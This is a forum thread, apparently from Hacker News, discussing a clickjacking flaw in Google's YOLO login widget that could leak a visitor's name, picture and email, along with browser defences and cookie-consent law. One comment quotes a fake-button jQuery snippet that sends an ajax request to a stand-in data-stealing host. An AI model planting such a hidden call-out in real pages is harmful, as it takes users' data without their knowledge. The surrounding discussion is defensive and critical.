Google YOLO clickjacking
blog.innerht.ml
blog.innerht.ml
> Exploiting Clickjacking on Google YOLO allows visitors' name, profile picture and email address to be leaked. That's right, I can even know your email address. :). Click here if you want to see behind the sense (make sure you have logged in Google with a modern browser, PC preferably).
Google's reply to a VRP submission:
> Thanks for your bug report and research to keep our users secure! We've investigated your submission and made the decision not to track it as a security bug.
> The login widget has to be frameable for it to work. I'm not sure how we could fix this to prevent this problem, but thanks for the report!
That's why we don't trust login widgets, right?
Also, I think it’s more widespread given that ‘Google identity’ covers a large number of Google products, and signing into one signs into all. With Facebook any time I log in nowadays I open incognito, check messages, log out, whereas with Google I generally stay logged in, mostly because I want gmail and my cross device browsing history to work.
By the terms of the VRP it sounds like the reporter is owed a payout.
Maybe someone should tip off Google project Zero about this? Let's see if they mean it that they will hold themselves to the same standard.
[0]: https://stackoverflow.com/questions/50289065/google-yolo-sto...
[0]: https://twitter.com/sirdarckcat/status/994867632355577862
I'm sure that will go down just fine. FB just got into a lot of trouble over something like that (arguably a lot more serious, but still).
This is seriously denting my continued belief in Google's security chops. I know they have some of the finest security researchers on the planet but this was handled in a ham-fisted and ineffective way so far.
And best of all: without 'partner' status you won't be able to check if has been fixed.
This is a great demonstration how a company can have all of the right talent but still manage to become incompetent through poor organizational policies.
I want to say that I hope this is isolated and not a systemic part of their company culture but at this point I can't help but be cynical after this.
Brutal. I have gone 100% autopilot to “cookie consent buttons”. I’m curious how many people are. That’s a very clever place to click jack.
What should really bother you is that rather than putting up these stupid cookiewalls the intended effect of the legislation was to get websites to stop tracking everything and everybody and this was the result.
Self regulation didn't work, then there was a soft push, which resulted in a lot of wriggling to get around the laws intent and now we will see the hard push.
I wonder how many parties will have the guts to try to wiggle out of the hard push, and I'm quietly hoping for one of the larger offenders to be hit so hard they have to shut down, which might send a useful message to the rest.
Analytics is fine but this wholesale profile building is really across the line.
Edit: More info: http://ec.europa.eu/ipg/basics/legal/cookies/index_en.htm
Maybe regulation would work better if there weren't such a disconnect between what lawmakers think people want and the way the technology works.
That's a pretty strong claim. Citation needed.
I always thought it was a combination of slow legislative process, legislators not understanding tech, and industry pushback. I somehow doubt underfunded government IT departments had that much pull.
It is an instance of a much broader issue, where contracts are no longer the result of any negotiation, but are a take it or leave it option.
Anyway, now with GDPR consent buttons on their way (at least in Europe), there's a fresh new opportunity for black hats to click jack their whole population of visitors all over again.
(Firefox for Android supports extensions, I don't know if there are any Webkit-based browsers that do.)
Hell, let's repurpose Do Not Track for it; it's not like it's being used for anything meaningful otherwise.
I think it's more likely that most tracking companies ignore do not track.
And well, DNT could have had legal bearing, since most legislations in the world require you to stop tracking when the user tells you not to.
So, if the user goes and sets up this general purpose opt-out, you'd have to have some sort of argument why you're different than what the user had in mind when they turned DNT on.
Could have had that legal bearing. Microsoft as well as Google and Facebook killed it off pretty well.
Microsoft by turning it on by default in Internet Explorer. Meaning that there were now lots of instances where the user had not explicitely gone into the settings to turn it on (nor did they perform some other action that serves as reasonable sign that this is what they'd want, like going into InPrivate Browsing, or specifically installing a privacy-focused browser / operating system.)
Google and Facebook killed it off by saying right away that they would not respect it. With how many webpages bundle a Facebook Like button or Google: Analytics, ads, GStatic, ajax.googleapis.com, JQuery, fonts, ReCaptcha, Maps, YouTube etc.
As such, there were very few webpages left that could have chosen to respect it and no judge would have just ruled that everyone has to respect it. It would have killed the internet for a few months.
I wonder how that applies legally if they happen to collect data on you and you haven’t given consent.
For example, every time I see a "Are you sure you want to leave this page?"[1], I hesitate for a moment and wonder if that dialog box is being spoofed. That dialog shows up for many scammy websites but also legitimate ones too. Yes, one could try to learn which dialogs can't be spoofed[2] but there's always paranoia because you can't keep up-to-date with all unknown future exploits.
Chrome makes that dialog box scarier because it is modal and you can't click outside of the box on the browser's tab [x] to close the window. (You also can't use the keyboard Ctrl+F4 to close it either.) In contrast, Firefox let's you avoid clicking the dialog box by letting you click on the tab's [x] or press Ctrl+F4.
It's easy to replicate these differences in behavior on website regex101.com.[3] Type a few characters there and then try to navigate away from the page. Chrome forces you to interact with the dialog box but Firefox lets you click [x] on the browser tab.
It's nearly impossible for any combination of CSS and Javascript to "escape" the browser window and hijack the [x] button on the browser's tab so it feels "safer" just to click there.
[1] https://www.google.com/search?q=google+chrome+%22are+you+sur...
[2] https://superuser.com/questions/639084/malicious-confirm-nav...
The fact that the dialog box is modal proves that it's not spoofed.
Right, it was fixed (past tense) but that doesn't change the cognitive burden for tomorrow's unknown exploits that look very similar (future tense). Everytime a popup shows up on screen, I have to question myself, "am I up-to-date on the latest browser engine internals to safely click this UI element?"
>The fact that the dialog box is modal proves that it's not spoofed.
Right but... this creates a very convoluted "decision tree" in the web surfer's brain to know whether dialog boxes are real and trustworthy. E.g. if I want to instruct my grandmother to only click on the trustworthy "Leave this Page" buttons, I have to tell her to click outside the box and if she hears a beep while at the same time nothing happens, (the layman's determination for the computer geek's jargon of "modal"), she can then safely click that button. Otherwise that "Leave this Page" button could be a fake and it downloads malware on her computer. Those are very nuanced and error-prone step-by-step instructions for safe web surfing.
Instead of that, using the spatial rules of clicking on the tab browser (the "line of death" as others pointed out) is a much easier guideline to follow.
To expand on this, the web browsers are missing:
1) trusted pixels: Some bank websites implement this idea when you try to sign in. When you enter your id, you are shown a special secret image that you chose when you created the account. If that image isn't there, you should not trust the password field presented. Therefore, any criminal who wants to present a fake bank login screen also has to know the secret image as well. E.g. Chrome could use this technique to show the secret image with dialog boxes truly triggered by Chrome itself instead of painted by malicious HTML.
2) a trusted keyboard sequence that is well-known and standard : Windows operating system had this with Ctrl+Alt+Del. Instead of trusting any login screen, you just press Ctrl+Alt+Del because no user-mode program can hijack that special key sequence. Intercepting it requires a kernel patch or a registry hack. A similar idea could be used in browsers to toggle a special keyboard mode that disables all javascript keyboard events. This mode may be useful for password fields or as a special key sequence to "unstack" hidden buttons, etc.
This mechanism is theatre:
1. User enters ID into fake bank website.
2. Fake bank website enters said ID into real bank website.
3. Real bank website shows fake bank website your "secret" image.
4. Fake bank website shows you your "secret image".
However, a website would not have access to the browsers image unless the machine was already compromised.
I had left out some implementation details for brevity. Any first time use of a "new" computer to access the online account requires verification from the bank. (E.g. random code is emailed.) At that point, a bank cookie is set. The bank doesn't show the secret image unless the computer already has a cookie from a previous verification.
A fake webpage that tries to forward credentials to a "robo" browser on a computer in Russia wouldn't have that cookie so they'd never be able to see the secret image.
There are probably other security checks the banks do such as ip blacklists etc.
The secret image isn't foolproof but it's an extra signal to signify trust. Likewise, 2-factor authentication with mobile phones isn't foolproof either and can also be hacked.
Does pressing Escape also allow "keypress-jacking"?
The essay 'The Line of Death' [1] talks about users' trust placed into UI elements, and the implications thereof.
[1] https://textslashplain.com/2017/01/14/the-line-of-death/
So some buttons stoped working, and now you have to believe that everything was as the blog said. Well, it was.
And a "mitigation" from google being just avoiding the access to the API just makes things more interesting.
Currently it’s being devanced by articles that are olders, with less upvote and fewer comments. Can you guarantee that nobody is able manipulate ranking? It’s only a hunch, but it’s not the first time that I notice that google related "bad buzz" move away from main page slightly faster than other...
PS: I’ll gladly accept downvotes. But answers on why I’m wrong or paranoid would have been better
Also: lots of HN'ers work at google. It would be a nice rule if people were told to abstain from using their flagging privileges when the company they work at is the subject of a thread.
Big companies trying to strangle hold the small ones -- nothing new, time to move on. Its pathetic.
I recall a video talking explicitly about this problem - it was something about using the browser paint API in conjunction with iframes for security? The gist was a browser should be able to tell in real time if an iframe is visible and should be able to block user input depending on whether or not the site was hiding the iframe, putting something on top of it, pushing it off screen, moving it around, etc...
But I can't remember the source. If I can find it, I'll add it in an edit. And of course if anyone else knows the talk I'm thinking of, please link.
https://m.youtube.com/watch?v=9wx2TnaRSGs
https://dankaminsky.com/2015/08/09/defcon-23-lets-end-clickj...
It certainly makes me glad I did _this_ on my FB account:
>> You previously turned off platform apps, websites and plug-ins. To use this feature, you need to turn them back on, which also resets your Apps others use settings to their default settings. <<
.. but further to that, I should take my FB login and stick it in a Firefox container where it belongs.
" whenever you click or otherwise interact, through your mouse or your keyboard, with an embedded element which is partially obstructed, transparent or otherwise disguised, NoScript prevents the interaction from completing and reveals you the real thing in "clear". At that point you can evaluate if the click target was actually the intended one, and decide if keeping it locked or unlock it for free interaction."
https://hackademix.net/2008/10/08/hello-clearclick-goodbye-c...
Do the right thing Google.
Which is in a way even worse :(
It's kind of like how an app cannot draw over system UI; like the permissions dialog.
I'm surprised this is not how X-Frame-Options worked in the first place.
Like they did to the guy who found the sitemap ranking bug in Google Search where he was able to let others pay for a first page ranking. He only got $1,337 and it took Google 6 months to fix it.
Article for those interested: http://www.tomanthony.co.uk/blog/google-xml-sitemap-auth-byp...
In an article like this I can't help but think that the "[ ] Behind the scene" button is the real bait.
I use this to close them; https://news.ycombinator.com/item?id=16575304
https://www.chromium.org/Home/chromium-security/site-isolati...
I'm not sure what the minimal repro is here, but if it's the containerization working as intended, that'd be awesome.
In future I will dismiss cookie consent buttons by deleting it's DOM node from the inspector.
EDIT: Please research the GDPR and new ePrivacy regulation before you vote.
The goal was to let users opt out of tracking in the hope that the industry would self-regulate.
Now that it hasn't, GDPR is coming down hard.
Web devs really manage to fuck everything up.
https://twitter.com/sirdarckcat/status/994868604695916544
Somehow this was known, the blog (innerht.ml) gained some traction and then action was taken. Seems that some miscommunication occured inside Google and this problem atracted much more attention than it was necessary.
I guess they don't even patch, the ninja block everything until they got better. It's stupid since they got the information before, and could prepare it. It prove again than full disclosure is usefull.
[0]: https://twitter.com/sirdarckcat/status/994867137704587264
Please do ignore if i completely misunderstand the discovery, but i don't really see the need to make a html+css button to make any of this execute.
"If you think we've misunderstood or can provide a convincing attack vector, please do let us know!"
I think OP did not post this line in the blog; which makes Google look like they don't at all care.
A large chunk of the user base doesn't know the functional difference between icons, hyperlinks and buttons.
I had no choice, at least on mobile.
On mobile browsers, audio contexts start out as muted. They can only be unmuted by an event originating from user interaction.
I use a web player embedded in an iframe on my site. It has an API to communicate with it to do things like playing and pausing the current track. However, this also means the audio context is in a cross-domain iframe, and my only way to trigger the play() method is via the asynchronous postMessage API it exposes. So, in order to unlock the audio context, I present mobile users with a “tap to start” screen. In reality, I’ve positioned and zoomed in on the iframe such that the play button is covering the entire screen for any reasonable screen size. Thus, when the user taps to start, the audio context is unlocked (since the “tap” event on the play button in the iframe fires), and I immediately send a “pause” command via the player’s API. Now, the audio context is unmuted and I’m free to send the “play” command for any track to start playing music.
If a page is divided into two columns with the left half originating from the source origin and the right half from a delegated origin, why should the source origin observe interaction events from the right half, or vice versa?
We should be able to press a hotkey and immediately see at-a-glance who is operating what.
This would neatly solve this problem with the low cost of making folks who want to implement modal popovers have to do some proper scene management in their pages.
It should always be possible for the end-user to view a colored overlay of their screen and see exactly which origins are operating which regions of the screen.
How would that help? If I have malicious site, I just wouldn't use that feature.
https://screenshots.firefox.com/bTWQWgBxLpRwr7lC/blog.innerh...
Clicking the link opens the iframe in a new tab, so it's hard to click it again without noticing what's going on.
Unfortunately Chrome (and probably Firefox quantum) doesn't let you apply css agent_sheets (only user/author), so that style="display:none!important" on the iframes can't be overridden.
If you use older Firefox or Palemoon then you can use Stylish v2.0.7 and override it.
/* AGENT_SHEET */
iframe:hover{cursor:help!important}
iframe{border:1px solid red!important;display:block!important}
*{opacity:1!important}So taking facebook’s example this can be “prevented” through some random verification.
Looks like <iframe>s for things like login widgets and like buttons should get the ability to appear above all other content by setting a specific header.
Leaking your image and email is a huge issue though.
just turn off js >_>
<span class="fake-button" style="padding: 0px 6px;">???</span><script>$('.fake-button').on('click', function(){$.ajax({url: 'http://www.steal-your-data.fake'})})</script>
What do you mean by being "safe from AFL"?
A failure to verify SSL certificates has plagued elinks since 2012 [0]. Some versions protect, but the bug returns.
[0] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=694658
"Modern browser" means a browser that keeps up with modern web standards. Yes, w3m (for instance) still receives updates, but (going by the changelog) those updates refine how the browser handles very old web standards rather than extends support to new ones.